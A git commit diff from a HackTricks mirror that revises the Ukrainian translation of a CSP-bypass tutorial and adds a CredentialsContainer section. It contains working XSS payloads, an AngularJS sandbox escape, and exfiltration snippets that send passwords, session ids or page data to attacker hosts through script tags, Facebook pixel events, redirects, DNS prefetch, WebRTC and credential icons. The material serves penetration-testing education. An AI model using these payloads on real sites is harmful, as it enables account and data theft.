mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM
This commit is contained in:
parent
3bdcbcd61c
commit
c0178b9a72
@ -40,16 +40,16 @@ object-src 'none';
|
||||
### Директиви
|
||||
|
||||
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
|
||||
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
||||
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Обмежує URL для фреймів.
|
||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
|
||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, та `<applet>`.
|
||||
- **img-src**: Визначає дозволені джерела для зображень.
|
||||
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
||||
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
||||
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
|
||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, та `<applet>`.
|
||||
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
||||
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
||||
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
||||
@ -115,7 +115,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!УВАГА]
|
||||
> [!CAUTION]
|
||||
> Це не працює, для отримання додаткової інформації [**перевірте це**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
@ -132,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Працюючий payload:
|
||||
Працюючий вантаж:
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
@ -159,7 +159,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволяє вам **завантажувати лише певні типи файлів**.
|
||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
|
||||
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||
|
||||
@ -167,7 +167,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
|
||||
### Form-action
|
||||
|
||||
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||
Якщо неможливо ввести JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Пейлоади, що використовують Angular + бібліотеку з функціями, які повертають об'єкт `window` ([перегляньте цей пост](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити, **які функції з яких бібліотек повертають об'єкт `window`**.
|
||||
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Зловживання www.google.com для відкритого редиректу
|
||||
|
||||
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
Наступне URL-адреса перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
||||
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
|
||||
|
||||
### Зловживання з боку третіх осіб
|
||||
|
||||
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи користувацьку подію, як це:
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи подію користувача, як це:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||
На додаток до згаданої редирекції для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||
|
||||
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
|
||||
```html
|
||||
@ -347,7 +347,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
|
||||
|
||||
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||
Рішення полягає в тому, щоб не трактувати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||
|
||||
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
@ -368,7 +368,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
### AngularJS події
|
||||
|
||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
|
||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
|
||||
|
||||
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
|
||||
```xml
|
||||
@ -460,7 +460,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
|
||||
#### Chrome
|
||||
|
||||
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, то ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
||||
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, тоді ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
@ -540,13 +540,13 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Цей напад передбачає певну соціальну інженерію, де зловмисник **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
Цей напад передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
|
||||
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через **prototype pollution** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||
|
||||
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
|
||||
```html
|
||||
@ -566,7 +566,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP** і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
|
||||
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP**, і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Для прикладу [**перевірте цей CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -589,7 +589,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
```
|
||||
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
|
||||
|
||||
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як на перший погляд безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||
Обидва методи використовують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||
|
||||
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
||||
|
||||
@ -597,11 +597,11 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
|
||||
### PHP помилки при надмірній кількості параметрів
|
||||
|
||||
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
||||
Згідно з [**останням методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
||||
|
||||
### Переповнення буфера відповіді PHP
|
||||
|
||||
PHP відомий тим, що **буферизує відповідь до 4096** байтів за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
||||
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
||||
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
|
||||
|
||||
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
@ -617,7 +617,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації дивіться:
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -626,7 +626,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
|
||||
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
|
||||
|
||||
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
||||
Для отримання додаткової інформації про те, як виконати цю атаку, дивіться [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
@ -647,7 +647,7 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів у IP-адреси та кешувати їх для подальшого використання.\
|
||||
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.\
|
||||
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Ви можете зловживати цією поведінкою, щоб **екстрагувати чутливу інформацію через DNS-запити**:
|
||||
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
||||
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -686,7 +686,7 @@ p.createDataChannel("")
|
||||
p.setLocalDescription(await p.createOffer())
|
||||
})()
|
||||
```
|
||||
Ще один варіант:
|
||||
Інший варіант:
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
@ -698,6 +698,19 @@ var pc = new RTCPeerConnection({
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Вікно облікових даних надсилає DNS-запит до iconURL без обмежень з боку сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
id:"satoki",
|
||||
name:"satoki",
|
||||
provider:"https:"+your_data+"example.com",
|
||||
iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## Перевірка CSP політик онлайн
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
Loading…
x
Reference in New Issue
Block a user